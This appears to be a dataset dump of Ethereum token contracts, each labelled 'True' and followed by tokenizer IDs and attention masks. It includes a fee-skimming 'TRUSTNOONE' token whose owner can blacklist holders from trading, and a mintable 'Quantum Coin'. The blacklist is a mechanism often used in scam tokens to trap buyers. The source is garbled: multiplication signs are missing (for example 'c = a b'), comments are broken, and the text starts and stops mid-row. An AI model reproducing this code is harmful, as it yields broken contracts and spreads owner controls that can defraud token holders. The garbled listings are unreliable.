1000000000000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "TRUSTNOONE"; string private constant _symbol = "TNO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xa90F29b1fd2Ae4e1E09E87A47196FB06F2A378DE); _feeAddrWallet2 = payable(0xb22B3Bd8C7FeA2F66fE4e097CBdd6af47a0b776A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0B75D2958BCc9aa683892AfDb61a1443c4Bb93A8), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000000000 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2861, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4487, 2615, 1006, 1037, 1010, 1038, 1010, 1000, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-08-07 / /* * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2021 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. / / * This file was generated by MyWish Platform (https://mywish.io/) * The complete code could be found at https://github.com/MyWishPlatform/ * Copyright (C) 2020 MyWish * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. / pragma solidity ^0.4.23; /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. / function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to relinquish control of the contract. / function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. / function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /* * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. / function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /* * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol / contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /* * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. / function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /* * @dev Function to stop minting new tokens. * @return True if the operation was successful. / function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /* * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /* * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /* * @dev gets freezing count * @param _addr Address of freeze tokens owner. / function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } /* * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. / function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /* * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. / function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } /* * @dev release first available freezing tokens. / function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } /* * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released / function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, and(_release, 0xffffffffffffffff)) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /* * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). / contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /* * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. / function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. / contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /* * @dev Modifier to make a function callable only when the contract is not paused. / modifier whenNotPaused() { require(!paused); _; } /* * @dev Modifier to make a function callable only when the contract is paused. / modifier whenPaused() { require(paused); _; } /* * @dev called by the owner to pause, triggers stopped state / function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /* * @dev called by the owner to unpause, returns to normal state / function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /* * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. / function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 0; uint8 public constant TOKEN_DECIMALS_UINT8 = 0; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 * TOKEN_DECIMALS; string public constant TOKEN_NAME = "Quantum Coin"; string public constant TOKEN_SYMBOL = "QTM"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x85013eFb9fC04db72753CD2CF8C1516eE1d3a051; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x85013efb9fc04db72753cd2cf8c1516ee1d3a051)]; uint[1] memory amounts = [uint(43582000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 5718, 1008, 1013, 1013, 1008, 1008, 2023, 5371, 2001, 7013, 2011, 2026, 9148, 4095, 4132, 1006, 16770, 1024, 1013, 1013, 2026, 9148, 4095, 1012, 22834, 1013, 1007, 1008, 1996, 3143, 3642, 2071, 2022, 2179, 2012, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2026, 9148, 4095, 24759, 4017, 14192, 1013, 1008, 9385, 1006, 1039, 1007, 25682, 2026, 9148, 4095, 1008, 1008, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 